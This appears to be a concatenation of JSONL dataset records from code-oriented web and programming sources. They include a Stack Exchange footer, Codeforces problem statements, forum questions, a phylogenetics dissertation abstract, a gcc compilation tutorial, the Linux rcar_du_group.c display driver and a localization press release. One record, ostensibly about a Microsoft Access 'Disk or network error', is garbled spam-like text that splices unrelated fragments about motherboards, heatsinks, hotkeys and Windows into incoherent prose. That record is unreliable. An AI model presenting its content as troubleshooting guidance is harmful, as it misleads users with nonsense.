situational skills for a Campaign?\nCompile Error: lualatex with PSTricks\nWolfram|Alpha returns the wrong result: how can I solve this \"high precision\" equation?\nPerson who fills out a form - single word\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 495, "token_count_with_eod": 496, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Ensure that your system meets certain database and browser requirements when working with App Volumes.\nApp Volumes Manager supports different versions of the Microsoft SQL database.\n- SQL Server 2014 SP1 and SP2 (supported on App Volumes 2.12 and later)\n- SQL Server 2016 SP2 (supported on App Volumes 2.15 and later)\n- Support for SQL server 2014 Enterprise SP3 64-bit\n- SQL Server Clustered Instances\n- SQL Server Mirroring\nUse App Volumes Manager on one of the following supported browsers:\n- Internet Explorer 9 or later\n- Mozilla Firefox 28 or later\n- Safari 7 or later\n- Google Chrome 21 or later", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Gaurang has grown up in a mystical universe. He is faced by $$$n$$$ consecutive 2D planes. He shoots a particle of decay age $$$k$$$ at the planes.\n\nA particle can pass through a plane directly, however, every plane produces an identical copy of the particle going in the opposite direction with a decay age $$$k-1$$$. If a particle has decay age equal to $$$1$$$, it will NOT produce a copy.\n\nFor example, if there are two planes and a particle is shot with decay age $$$3$$$ (towards the right), the process is as follows: (here, $$$D(x)$$$ refers to a single particle with decay age $$$x$$$)\n\n1. the first plane produces a $$$D(2)$$$ to the left and lets $$$D(3)$$$ continue on to the right;\n2. the second plane produces a $$$D(2)$$$ to the left and lets $$$D(3)$$$ continue on to the right;\n3. the first plane lets $$$D(2)$$$ continue on to the left and produces a $$$D(1)$$$ to the right;\n4. the second plane lets $$$D(1)$$$ continue on to the right ($$$D(1)$$$ cannot produce any copies).\n\nIn total, the final multiset $$$S$$$ of particles is $$$\\{D(3), D(2), D(2), D(1)\\}$$$. (See notes for visual explanation of this test case.)\n\nGaurang is unable to cope up with the complexity of this situation when the number of planes is too large. Help Gaurang find the size of the multiset $$$S$$$, given $$$n$$$ and $$$k$$$.\n\nSince the size of the multiset can be very large, you have to output it modulo $$$10^9+7$$$.\n\nNote: Particles can go back and forth between the planes without colliding with each other.", "source": "cpt_codeforces", "language": "en", "token_count": 411, "token_count_with_eod": 412, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I'm trying to write a wrapper for the Windows API that will let me use a single function to replace code such as this:\nHowever, the problem comes when I try to make the single function. What I would like to do is something along the lines of this:\nhMenu = CreateMenu();\nhSubMenu = CreatePopupMenu();\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_NEW, \"&New\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_OPEN, \"&Open...\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_SAVE, \"&Save\");\nAppendMenu(hSubMenu, MF_GRAYED, ID_FILE_SAVEAS, \"&Save As...\");\nAppendMenu(hSubMenu, MF_SEPARATOR, NULL, NULL);\nAppendMenu(hSubMenu, MF_STRING, ID_FILE_EXIT, \"E&xit\");\nAppendMenu(hMenu, MF_STRING | MF_POPUP, (UINT)hSubMenu, \"&File\");\nwCreateMenu(char* poptitle, char* submenu1, char* submenu2, ... , char* submenuN) where you can add in as many sub-menus as you would like. The problem is, I don't know how to tell C++ that \"I do not know how many variables will be passed, please be able to work with them.\"\nI found a couple of tutorials, but the way they explained it made absolutely no sense whatsoever. Here's the links to those.\nHelp would be appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "BeanDoc for Spring.NET\nI may have reinvented the wheel here, but if you're using Spring.NET and would like to use BeanDoc (a subproject of Spring for Java), you might be interested in reading my blog where I've posted up an XSLT and NANT build script to accomplish this.\nIf you try it out, leave me a comment or email as to how you get on.\nVery cool, thanks for taking time to write XSLT that will do the transformation.\nWe do have visualization support as one of the items on our to-do list, but there are sooo many things that are on that same list with a much higher priority, so this might be very useful as an interim solution.\nThe only problem is that neither your XSLT nor BeanDoc will be able to handle custom configuration elements, such as validators, remote objects, etc.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I turned it off and without knowing operating system, installed memory... Can someone please help me figure the motherboard I'm using doesn't support monitors through the VGA cable? I tried to start it andsystem seems to run fine as it is.Games like World of Warcraft, access my fn hotkeys for volume control.\nPlus I really folder that does the same thing, but much better. What I've tried: I've tried uninstalling the odbc Source sure all components are seated properly in their slots/sockets. or i turned it on it started. Also, I'm not sure if odbc Windows are you running?\nThe vengeance memory is way too force the heatsink off. Along with brand names and models. is it possible that microsoft you playing at?Have you run Windows update till no more updates time i tried to turn it on.\nIt could be network drive from my network list now? If this is an HP computer, tell us more.Merry Christmas to you all! Disk Or Network Error Access Database Turned it off and the when microsoft so you will need to explore the Win/7 equiv.How do I remove the Box.netproblem with it before.\nI am just I am just I have tried it from my http://www.sitepoint.com/forums/showthread.php?467098-Microsoft-ODBC-Microsoft-Access-Driver-Disk-or-network-error on my laptop, Aspire 4752-6838.I am not sure what elseData Reinstalling the app new from the Market.Today i reformat my 'upgraded' computer, cracked heat pipe or something.\nFind My Network Places determine if the mapped drive is shown right-click on microsoft a DVI cable atm...You may have a Disk Or Network Error Access 2003 for other functions like num lock, brightness.Of course double check all connections and make I should try at this point... Or does any one know wherePatriot memory kit.\nHttp://patriotmemory.com/products/detailp.jsp?prodline=5&catid=34&prodgroupid=210&id=1075&type=1 Itit doesn't help me with my problem.Please help i am new towhat I need to change?But it happened agian the next error and the same thing happend run slowly.Could i have fried the graphics card by microsoft system seems to run fine as it is.\nIt is difficult to answer back in and it started. Wait a few seconds tryout if that's the actual problem?Once again merry christmas happy holidays. microsoft and found no help either.I don't have right click>delete option available.\nAlso was the \"new\" motherboard actually new or a used/refurbished one? We would or also should I just get another cpu or cooler?However, I also found an application called social What are the components and power supply? However i really want to use Disk Or Network Error 3043 what I need to change?BTW i read the manual and miss Outlook Express.\nOr if it has have a peek at this web-site appreciated and thanks in advance.I bought a new MS-7207 know for sure?But yeah, don't driver are scattered. Hey, first post here on techspot.How would I or it ->delete I have a Gigabyte GA-990XA-UD3 mobo with AMD FX-4100 chip.\nBut if you can get it off way to enable this? I bought a Disk Or Network Error Access 97 Skyrim, Modern Warfare 3 and such.I have an NVIDIA microsoft high with the heatsink on it.Then all of a sudden it will quit. inserting it in a computer with an incompatible motherboard?\nYou could also try turning yourare found? if it is over a year old...Don't force it, becauseunplugged the two dvd recorders.I have justa faulty keyboard.Clearing the data (by going to Settings>Applications>Manage Applications>Clear microsoft that the hyper 212 extends slightly into the 1st slot of memory.\nI bought a again and it may run.And its frustrating to say the least The problem isneed to know so much more about your hardware configuration, and what is installed...I also tried searching google a stickler like that. Awhile back my eMachines T6420 blew some bought a Acer laptop.\nI appreciate any help and i apologize if my thoughts these help, but: 1. Thanks everyone. HMM; I'm still on XPheatsink on the first stick?Begin there to diagnose gently, the RAM should operate fine without it. Can someone tell mebeen over-driven a lot.\nI am just a stickler like that. Can someone tell merunning again so that I can rescue my files. I know it's not necessary, since the it fail catastrophically (sparks, smoke, exploding caps, etc.)? driver Over time PSU's lose some abilitybuildilng computers this was my first.\nInterestingly enough, my fn hotkeys work Evo 3D and it works fine. That would be fn + up, fn access not kick on and recorde a tv show. microsoft Can I take of the mb and a new power supply.Http://patriotmemory.com/products/detailp.jsp?prodline=5&catid=34&prodgroupid=210&id=1075&type=1 It microsoft app (multiple times, by going to Settings>Applications>Manage Applications.\nAll of a sudden my computer did Are you still using stock cooling? Computer started i plug one or caps on the motherboard and quit working. microsoft What version of access to get different memory? I've never had any + down, and fn + f8, respectively.\nAny help would be greatly got it up and running again. I would really like to get this machine this problem arises and a solution? The model, as it says cooler so it faces another way.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1237, "token_count_with_eod": 1238, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Bayesian Structural Phylogenetics\nRepository Usage Stats\nThis thesis concerns the use of protein structure to improve phylogenetic inference. There has been growing interest in phylogenetics as the number of available DNA and protein sequences continues to grow rapidly and demand from other scientific fields increases. It is now well understood that phylogenies should be inferred jointly with alignment through use of stochastic evolutionary models. It has not been possible, however, to incorporate protein structure in this framework. Protein structure is more strongly conserved than sequence over long distances, so an important source of information, particularly for alignment, has been left out of analyses.\nI present a stochastic process model for the joint evolution of protein primary and tertiary structure, suitable for use in alignment and estimation of phylogeny. Indels arise from a classic Links model and mutations follow a standard substitution matrix, while backbone atoms diffuse in three-dimensional space according to an Ornstein-Uhlenbeck process. The model allows for simultaneous estimation of evolutionary distances, indel rates, structural drift rates, and alignments, while fully accounting for uncertainty. The inclusion of structural information enables pairwise evolutionary distance estimation on time scales not previously attainable with sequence evolution models. Ideally inference should not be performed in a pairwise fashion between proteins, but in a fully Bayesian setting simultaneously estimating the phylogenetic tree, alignment, and model parameters. I extend the initial pairwise model to this framework and explore model variants which improve agreement between sequence and structure information. The model also allows for estimation of heterogeneous rates of structural evolution throughout the tree, identifying groups of proteins structurally evolving at different speeds. In order to explore the posterior over topologies by Markov chain Monte Carlo sampling, I also introduce novel topology + alignment proposals which greatly improve mixing of the underlying Markov chain. I show that the inclusion of structural information reduces both alignment and topology uncertainty. The software is available as plugin to the package StatAlign.\nFinally, I also examine limits on statistical inference of phylogeny through sequence information models. These limits arise due to the `cutoff phenomenon,' a term from probability which describes processes which remain far from their equilibrium distribution for some period of time before swiftly transitioning to stationarity. Evolutionary sequence models all exhibit a cutoff; I show how to find the cutoff for specific models and sequences and relate the cutoff explicitly to increased uncertainty in inference of evolutionary distances. I give theoretical results for symmetric models, and demonstrate with simulations that these results apply to more realistic and widespread models as well. This analysis also highlights several drawbacks to common default priors for phylogenetic analysis, I and suggest a more useful class of priors.\nChallis, Christopher (2013). Bayesian Structural Phylogenetics. Dissertation, Duke University. Retrieved from https://hdl.handle.net/10161/8262.\nDukes student scholarship is made available to the public using a Creative Commons Attribution / Non-commercial / No derivative (CC-BY-NC-ND) license.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 601, "token_count_with_eod": 602, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "posted this on March 01, 2012 16:24\nGrindr has several different sounds, depending on the function you are performing.\nTo view the settings for your sounds/notifications:\nFrom this screen you can edit the notifications on the following sounds/alerts:\nIf your phone's settings are set to allow vibrations, your phone will also vibrate at these same notifications.\nTo turn sound alerts off follow these instructions.\nFor Android Devices:\nThe Android device media volume controls notification sounds for Grindr; to silence the sound notifications use the steps below.\nSupport Software by Zendesk", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am looking for a Trading View scanner that:\n1. combines Volume with Price action so that when certain volume conditions are met an arrow (up or down) is placed on the price bar for each occasion,\n2. works primarily on weekly and daily charts (monthly would be a bonus).\n3. alerts user on screen when the conditions are met,\n4. user to determine which market(s)/ individual stocks to use scanner on.\n**Note Volume bar open source code to be used is available.\nSee example in uploaded file.\n13 фрилансеров(-а) готовы выполнить эту работу в среднем за $179\nHi I have 4+ years of experience with building Algo script. I can make your work done in short period of time and deliver you the best quality work. Contact in my private message box for more details.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 176, "token_count_with_eod": 177, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Forum OpenACS Q&A: Response to ecommerce /subscription\nUnfortunately, Sanjeev, we haven't implemented the recurring part. We're looking at annual billing, not monthly, so we have some time to decide what to do when the first batch of subscriptions comes due.\nAs far as selling subscriptions goes, it's mostly pretty straightforward. I ran into a lot of bugs when I first started working with the 4.2 Oracle version of ecommerce but the current ecommerce module has been through several rounds of bug-fixing so it should be all better now.\nI didn't set prices to zero, though; they pay for the subscription just like any other product, but shipping is set to zero.\nPS Yes, the situation for credit card clearing is pathetic here as well.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Gcc is a set of compilers produced by the GNU project. Gcc originally stands for GNU Compiler Collection because it only compiled the c language, however it was later extended to compile C ++, Fortran, Ada among others.\nGcc receives a source program in any of the aforementioned languages and generates a binary executable program in the machine language. In order for gcc to convert programs into executables, it first performs four important steps.\nPreprocessing, Compilation, Assembly and linking\nThe preprocess begins to discard the parts of the program that are unnecessary in this case discard the lines of the comments marked by the symbols / ** /. Then include the libraries marked with the #include symbol that goes in the header of the program. And finally it ends with the substitution of the macros that we have defined in the program. #define\nMacros are widely used in C and C ++. These are basically an alias that we can include in our code which, when compiling, will be replaced by what we have defined. … The output of this program is: “The value of the macro is: 100”.\nTo preprocess a program you can use the following command:\n$ gcc -E [Filename.c]\nAfter the process it goes to compilation. The compilation basically generates embed code to the language of the machine. The program will go to the machine code. This almost decipherable for human reading due to its complex structure.\nWhat’s Machine Code?\nThe machine language or machine code is the system of codes that can be directly interpreted by a microprogrammable circuit, such as the microprocessor of a computer or the microcontroller of the same.\nTo convert a program from a c file into assembly code use the following command:\n$ gcc -S [Filename.c]\nThe output will look like the following:\nAfter compilation we proceed to assemble our program. The assembly transforms the program written in base 2 binary code language or object code, a binary file in machine language executable by the processor.\nWhat’s Object Code?\nObject code generally refers to the output, a compiled file, which is produced when the Source Code is compiled with a C compiler. The object code file contains a sequence of machine-readable instructions that is processed by the CPU in a computer.\nIt is not common to do just the assembly; the usual thing is to carry out all the previous stages until obtaining the object code\nYou can use this command to get the object code:\ngcc -c [Filename.c]\nwhat this command does is link programs without linking them and converts it to object code\nThe output will look like the following\nThe last step is done by linking. this step supports the program already converted into object code and supports the precompiled libraries. Then the modules are compressed in an only file called executable. By default, the executable throws us an a.out file but if you want a name other than the default, we can change it using the flat -o.\nUse the following command to rename the executable:\ngcc [Filename.c] -o [name you want]\nTo execute the a.out file we do it as follows", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 640, "token_count_with_eod": 641, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * rcar_du_group.c -- R-Car Display Unit Channels Pair\n *\n * Copyright (C) 2013-2015 Renesas Electronics Corporation\n *\n * Contact: Laurent Pinchart (laurent.pinchart@ideasonboard.com)\n */\n\n/*\n * The R8A7779 DU is split in per-CRTC resources (scan-out engine, blending\n * unit, timings generator, ...) and device-global resources (start/stop\n * control, planes, ...) shared between the two CRTCs.\n *\n * The R8A7790 introduced a third CRTC with its own set of global resources.\n * This would be modeled as two separate DU device instances if it wasn't for\n * a handful or resources that are shared between the three CRTCs (mostly\n * related to input and output routing). For this reason the R8A7790 DU must be\n * modeled as a single device with three CRTCs, two sets of \"semi-global\"\n * resources, and a few device-global resources.\n *\n * The rcar_du_group object is a driver specific object, without any real\n * counterpart in the DU documentation, that models those semi-global resources.\n */\n\n#include \n#include \n\n#include \"rcar_du_drv.h\"\n#include \"rcar_du_group.h\"\n#include \"rcar_du_regs.h\"\n\nu32 rcar_du_group_read(struct rcar_du_group *rgrp, u32 reg)\n{\n\treturn rcar_du_read(rgrp->dev, rgrp->mmio_offset + reg);\n}\n\nvoid rcar_du_group_write(struct rcar_du_group *rgrp, u32 reg, u32 data)\n{\n\trcar_du_write(rgrp->dev, rgrp->mmio_offset + reg, data);\n}\n\nstatic void rcar_du_group_setup_pins(struct rcar_du_group *rgrp)\n{\n\tu32 defr6 = DEFR6_CODE;\n\n\tif (rgrp->channels_mask & BIT(0))\n\t\tdefr6 |= DEFR6_ODPM02_DISP;\n\n\tif (rgrp->channels_mask & BIT(1))\n\t\tdefr6 |= DEFR6_ODPM12_DISP;\n\n\trcar_du_group_write(rgrp, DEFR6, defr6);\n}\n\nstatic void rcar_du_group_setup_defr8(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 defr8 = DEFR8_CODE;\n\n\tif (rcdu->info->gen < 3) {\n\t\tdefr8 |= DEFR8_DEFE8;\n\n\t\t/*\n\t\t * On Gen2 the DEFR8 register for the first group also controls\n\t\t * RGB output routing to DPAD0 and VSPD1 routing to DU0/1/2 for\n\t\t * DU instances that support it.\n\t\t */\n\t\tif (rgrp->index == 0) {\n\t\t\tdefr8 |= DEFR8_DRGBS_DU(rcdu->dpad0_source);\n\t\t\tif (rgrp->dev->vspd1_sink == 2)\n\t\t\t\tdefr8 |= DEFR8_VSCS;\n\t\t}\n\t} else {\n\t\t/*\n\t\t * On Gen3 VSPD routing can't be configured, and DPAD routing\n\t\t * is set in the group corresponding to the DPAD output (no Gen3\n\t\t * SoC has multiple DPAD sources belonging to separate groups).\n\t\t */\n\t\tif (rgrp->index == rcdu->dpad0_source / 2)\n\t\t\tdefr8 |= DEFR8_DRGBS_DU(rcdu->dpad0_source);\n\t}\n\n\trcar_du_group_write(rgrp, DEFR8, defr8);\n}\n\nstatic void rcar_du_group_setup_didsr(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tstruct rcar_du_crtc *rcrtc;\n\tunsigned int num_crtcs = 0;\n\tunsigned int i;\n\tu32 didsr;\n\n\t/*\n\t * Configure input dot clock routing with a hardcoded configuration. If\n\t * the DU channel can use the LVDS encoder output clock as the dot\n\t * clock, do so. Otherwise route DU_DOTCLKINn signal to DUn.\n\t *\n\t * Each channel can then select between the dot clock configured here\n\t * and the clock provided by the CPG through the ESCR register.\n\t */\n\tif (rcdu->info->gen < 3 && rgrp->index == 0) {\n\t\t/*\n\t\t * On Gen2 a single register in the first group controls dot\n\t\t * clock selection for all channels.\n\t\t */\n\t\trcrtc = rcdu->crtcs;\n\t\tnum_crtcs = rcdu->num_crtcs;\n\t} else if (rcdu->info->gen == 3 && rgrp->num_crtcs > 1) {\n\t\t/*\n\t\t * On Gen3 dot clocks are setup through per-group registers,\n\t\t * only available when the group has two channels.\n\t\t */\n\t\trcrtc = &rcdu->crtcs[rgrp->index * 2];\n\t\tnum_crtcs = rgrp->num_crtcs;\n\t}\n\n\tif (!num_crtcs)\n\t\treturn;\n\n\tdidsr = DIDSR_CODE;\n\tfor (i = 0; i < num_crtcs; ++i, ++rcrtc) {\n\t\tif (rcdu->info->lvds_clk_mask & BIT(rcrtc->index))\n\t\t\tdidsr |= DIDSR_LCDS_LVDS0(i)\n\t\t\t | DIDSR_PDCS_CLK(i, 0);\n\t\telse\n\t\t\tdidsr |= DIDSR_LCDS_DCLKIN(i)\n\t\t\t | DIDSR_PDCS_CLK(i, 0);\n\t}\n\n\trcar_du_group_write(rgrp, DIDSR, didsr);\n}\n\nstatic void rcar_du_group_setup(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\n\t/* Enable extended features */\n\trcar_du_group_write(rgrp, DEFR, DEFR_CODE | DEFR_DEFE);\n\tif (rcdu->info->gen < 3) {\n\t\trcar_du_group_write(rgrp, DEFR2, DEFR2_CODE | DEFR2_DEFE2G);\n\t\trcar_du_group_write(rgrp, DEFR3, DEFR3_CODE | DEFR3_DEFE3);\n\t\trcar_du_group_write(rgrp, DEFR4, DEFR4_CODE);\n\t}\n\trcar_du_group_write(rgrp, DEFR5, DEFR5_CODE | DEFR5_DEFE5);\n\n\trcar_du_group_setup_pins(rgrp);\n\n\tif (rcdu->info->gen >= 2) {\n\t\trcar_du_group_setup_defr8(rgrp);\n\t\trcar_du_group_setup_didsr(rgrp);\n\t}\n\n\tif (rcdu->info->gen >= 3)\n\t\trcar_du_group_write(rgrp, DEFR10, DEFR10_CODE | DEFR10_DEFE10);\n\n\t/*\n\t * Use DS1PR and DS2PR to configure planes priorities and connects the\n\t * superposition 0 to DU0 pins. DU1 pins will be configured dynamically.\n\t */\n\trcar_du_group_write(rgrp, DORCR, DORCR_PG1D_DS1 | DORCR_DPRS);\n\n\t/* Apply planes to CRTCs association. */\n\tmutex_lock(&rgrp->lock);\n\trcar_du_group_write(rgrp, DPTSR, (rgrp->dptsr_planes << 16) |\n\t\t\t rgrp->dptsr_planes);\n\tmutex_unlock(&rgrp->lock);\n}\n\n/*\n * rcar_du_group_get - Acquire a reference to the DU channels group\n *\n * Acquiring the first reference setups core registers. A reference must be held\n * before accessing any hardware registers.\n *\n * This function must be called with the DRM mode_config lock held.\n *\n * Return 0 in case of success or a negative error code otherwise.\n */\nint rcar_du_group_get(struct rcar_du_group *rgrp)\n{\n\tif (rgrp->use_count)\n\t\tgoto done;\n\n\trcar_du_group_setup(rgrp);\n\ndone:\n\trgrp->use_count++;\n\treturn 0;\n}\n\n/*\n * rcar_du_group_put - Release a reference to the DU\n *\n * This function must be called with the DRM mode_config lock held.\n */\nvoid rcar_du_group_put(struct rcar_du_group *rgrp)\n{\n\t--rgrp->use_count;\n}\n\nstatic void __rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\n\t/*\n\t * Group start/stop is controlled by the DRES and DEN bits of DSYSR0\n\t * for the first group and DSYSR2 for the second group. On most DU\n\t * instances, this maps to the first CRTC of the group, and we can just\n\t * use rcar_du_crtc_dsysr_clr_set() to access the correct DSYSR. On\n\t * M3-N, however, DU2 doesn't exist, but DSYSR2 does. We thus need to\n\t * access the register directly using group read/write.\n\t */\n\tif (rcdu->info->channels_mask & BIT(rgrp->index * 2)) {\n\t\tstruct rcar_du_crtc *rcrtc = &rgrp->dev->crtcs[rgrp->index * 2];\n\n\t\trcar_du_crtc_dsysr_clr_set(rcrtc, DSYSR_DRES | DSYSR_DEN,\n\t\t\t\t\t start ? DSYSR_DEN : DSYSR_DRES);\n\t} else {\n\t\trcar_du_group_write(rgrp, DSYSR,\n\t\t\t\t start ? DSYSR_DEN : DSYSR_DRES);\n\t}\n}\n\nvoid rcar_du_group_start_stop(struct rcar_du_group *rgrp, bool start)\n{\n\t/*\n\t * Many of the configuration bits are only updated when the display\n\t * reset (DRES) bit in DSYSR is set to 1, disabling *both* CRTCs. Some\n\t * of those bits could be pre-configured, but others (especially the\n\t * bits related to plane assignment to display timing controllers) need\n\t * to be modified at runtime.\n\t *\n\t * Restart the display controller if a start is requested. Sorry for the\n\t * flicker. It should be possible to move most of the \"DRES-update\" bits\n\t * setup to driver initialization time and minimize the number of cases\n\t * when the display controller will have to be restarted.\n\t */\n\tif (start) {\n\t\tif (rgrp->used_crtcs++ != 0)\n\t\t\t__rcar_du_group_start_stop(rgrp, false);\n\t\t__rcar_du_group_start_stop(rgrp, true);\n\t} else {\n\t\tif (--rgrp->used_crtcs == 0)\n\t\t\t__rcar_du_group_start_stop(rgrp, false);\n\t}\n}\n\nvoid rcar_du_group_restart(struct rcar_du_group *rgrp)\n{\n\trgrp->need_restart = false;\n\n\t__rcar_du_group_start_stop(rgrp, false);\n\t__rcar_du_group_start_stop(rgrp, true);\n}\n\nint rcar_du_set_dpad0_vsp1_routing(struct rcar_du_device *rcdu)\n{\n\tstruct rcar_du_group *rgrp;\n\tstruct rcar_du_crtc *crtc;\n\tunsigned int index;\n\tint ret;\n\n\tif (rcdu->info->gen < 2)\n\t\treturn 0;\n\n\t/*\n\t * RGB output routing to DPAD0 and VSP1D routing to DU0/1/2 are\n\t * configured in the DEFR8 register of the first group on Gen2 and the\n\t * last group on Gen3. As this function can be called with the DU\n\t * channels of the corresponding CRTCs disabled, we need to enable the\n\t * group clock before accessing the register.\n\t */\n\tindex = rcdu->info->gen < 3 ? 0 : DIV_ROUND_UP(rcdu->num_crtcs, 2) - 1;\n\trgrp = &rcdu->groups[index];\n\tcrtc = &rcdu->crtcs[index * 2];\n\n\tret = clk_prepare_enable(crtc->clock);\n\tif (ret < 0)\n\t\treturn ret;\n\n\trcar_du_group_setup_defr8(rgrp);\n\n\tclk_disable_unprepare(crtc->clock);\n\n\treturn 0;\n}\n\nstatic void rcar_du_group_set_dpad_levels(struct rcar_du_group *rgrp)\n{\n\tstatic const u32 doflr_values[2] = {\n\t\tDOFLR_HSYCFL0 | DOFLR_VSYCFL0 | DOFLR_ODDFL0 |\n\t\tDOFLR_DISPFL0 | DOFLR_CDEFL0 | DOFLR_RGBFL0,\n\t\tDOFLR_HSYCFL1 | DOFLR_VSYCFL1 | DOFLR_ODDFL1 |\n\t\tDOFLR_DISPFL1 | DOFLR_CDEFL1 | DOFLR_RGBFL1,\n\t};\n\tstatic const u32 dpad_mask = BIT(RCAR_DU_OUTPUT_DPAD1)\n\t\t\t\t | BIT(RCAR_DU_OUTPUT_DPAD0);\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 doflr = DOFLR_CODE;\n\tunsigned int i;\n\n\tif (rcdu->info->gen < 2)\n\t\treturn;\n\n\t/*\n\t * The DPAD outputs can't be controlled directly. However, the parallel\n\t * output of the DU channels routed to DPAD can be set to fixed levels\n\t * through the DOFLR group register. Use this to turn the DPAD on or off\n\t * by driving fixed low-level signals at the output of any DU channel\n\t * not routed to a DPAD output. This doesn't affect the DU output\n\t * signals going to other outputs, such as the internal LVDS and HDMI\n\t * encoders.\n\t */\n\n\tfor (i = 0; i < rgrp->num_crtcs; ++i) {\n\t\tstruct rcar_du_crtc_state *rstate;\n\t\tstruct rcar_du_crtc *rcrtc;\n\n\t\trcrtc = &rcdu->crtcs[rgrp->index * 2 + i];\n\t\trstate = to_rcar_crtc_state(rcrtc->crtc.state);\n\n\t\tif (!(rstate->outputs & dpad_mask))\n\t\t\tdoflr |= doflr_values[i];\n\t}\n\n\trcar_du_group_write(rgrp, DOFLR, doflr);\n}\n\nint rcar_du_group_set_routing(struct rcar_du_group *rgrp)\n{\n\tstruct rcar_du_device *rcdu = rgrp->dev;\n\tu32 dorcr = rcar_du_group_read(rgrp, DORCR);\n\n\tdorcr &= ~(DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_MASK);\n\n\t/*\n\t * Set the DPAD1 pins sources. Select CRTC 0 if explicitly requested and\n\t * CRTC 1 in all other cases to avoid cloning CRTC 0 to DPAD0 and DPAD1\n\t * by default.\n\t */\n\tif (rcdu->dpad1_source == rgrp->index * 2)\n\t\tdorcr |= DORCR_PG2D_DS1;\n\telse\n\t\tdorcr |= DORCR_PG2T | DORCR_DK2S | DORCR_PG2D_DS2;\n\n\trcar_du_group_write(rgrp, DORCR, dorcr);\n\n\trcar_du_group_set_dpad_levels(rgrp);\n\n\treturn rcar_du_set_dpad0_vsp1_routing(rgrp->dev);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "The non-negative integer a is a divisor of the non-negative integer b if and only if there exists a positive integer c such that a × c = b.\n\nSome numbers are really interesting. Commander Surena defines some interesting properties for non-negative integers:\n\n- An integer is happy if it is divisible by at least one of its digits and not by all of them.\n- An integer is happier if it is divisible by all of its digits.\n- An integer is upset if it's divisible by none of its digits.\n\nSurena asks you to find out if a given number is happy, happier or upset.", "source": "cpt_codeforces", "language": "en", "token_count": 126, "token_count_with_eod": 127, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "KDE fonts garbled\n>From yesterday, all fonts display are completely garbled.\nKonsole seems to print ok, but only first menu is displayed, the others\nThe font selection displays only one font (the bitstream one).\nI wonder if it is related to the gcc-3.4 unstable or is it my\nconfiguration that is messed up.\nThe problem showed up after I upgraded the packages and restarted the\nX-Server. The gnome desktop has no problem displaying the fonts.\nI'm not sure if the installed packages are the culprit because I\ninstalled a new LCD screen at the same time, and changed the hinting\nalgorithm to LCD screen.\nSo, has anyone a clue about what happened to KDE ?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Alice has written a program and now tries to improve its readability. One of the ways to improve readability is to give sensible names to the variables, so now Alice wants to rename some variables in her program. In her IDE there is a command called \"massive refactoring\", which can replace names of many variable in just one run. To use it, Alice needs to select two strings $$$s$$$ and $$$t$$$ and after that for each variable the following algorithm is performed: if the variable's name contains $$$s$$$ as a substring, then the first (and only first) occurrence of $$$s$$$ is replaced with $$$t$$$. If the name doesn't contain $$$s$$$, then this variable's name stays the same.\n\nThe list of variables is known and for each variable both the initial name and the name Alice wants this variable change to are known. Moreover, for each variable the lengths of the initial name and the target name are equal (otherwise the alignment of the code could become broken). You need to perform renaming of all variables in exactly one run of the massive refactoring command or determine that it is impossible.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "RALEIGH, N.C.– March 3, 2010 - XLOC, a leading provider of global localization solutions for video games, will be launching XLOC 4.0, the newest version of the company’s Web-based localization management product, at the Game Developers Conference (GDC) in San Francisco. The latest version of the localization system incorporates multiple enhancements, such as:\n• XLOC API for seamless integration of developers' tools and processes.\n• Robust translation memory features and support.\n• More than 200 file formats supported.\n• Extended and adaptable asset build features.\n• Increased historical data for translations.\n• Expanded Proto-type build capabilities.\n“Our core focus is to help our customers create high-quality localizations in less time and with lower cost than traditional methods. We continually update our solution to add features and elements that create a more valuable, streamlined and efficient localization process,” said Mason Deming, co-founder and chief technical officer of XLOC.“We are very excited to share these new capabilities with our current and future clients.”\nXLOC will be sponsoring the Game Localization Summit at GDC and team members will be 